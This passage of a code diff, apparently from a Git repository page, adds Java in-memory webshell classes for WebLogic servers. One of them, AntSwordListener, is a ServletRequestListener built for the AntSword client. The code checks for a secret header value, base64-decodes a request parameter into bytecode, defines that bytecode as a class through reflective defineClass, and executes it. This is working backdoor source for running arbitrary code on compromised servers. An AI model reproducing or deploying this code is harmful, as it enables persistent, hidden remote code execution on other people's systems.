servletRequestContext = args[2];
|
||||
}
|
||||
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
|
||||
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null
|
||||
&& value.contains(headerValue)) {
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
||||
Object instance = payload.newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
+99
@@ -0,0 +1,99 @@
|
||||
package com.reajason.javaweb.memshell.weblogic.antsword;
|
||||
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public AntSwordListener() {
|
||||
}
|
||||
|
||||
public AntSwordListener(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public Class<?> g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = getResponseFromRequest(request);
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
|
||||
} catch (Exception e) {
|
||||
response = (HttpServletResponse) getFieldValue(request, "response");
|
||||
}
|
||||
return response;
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user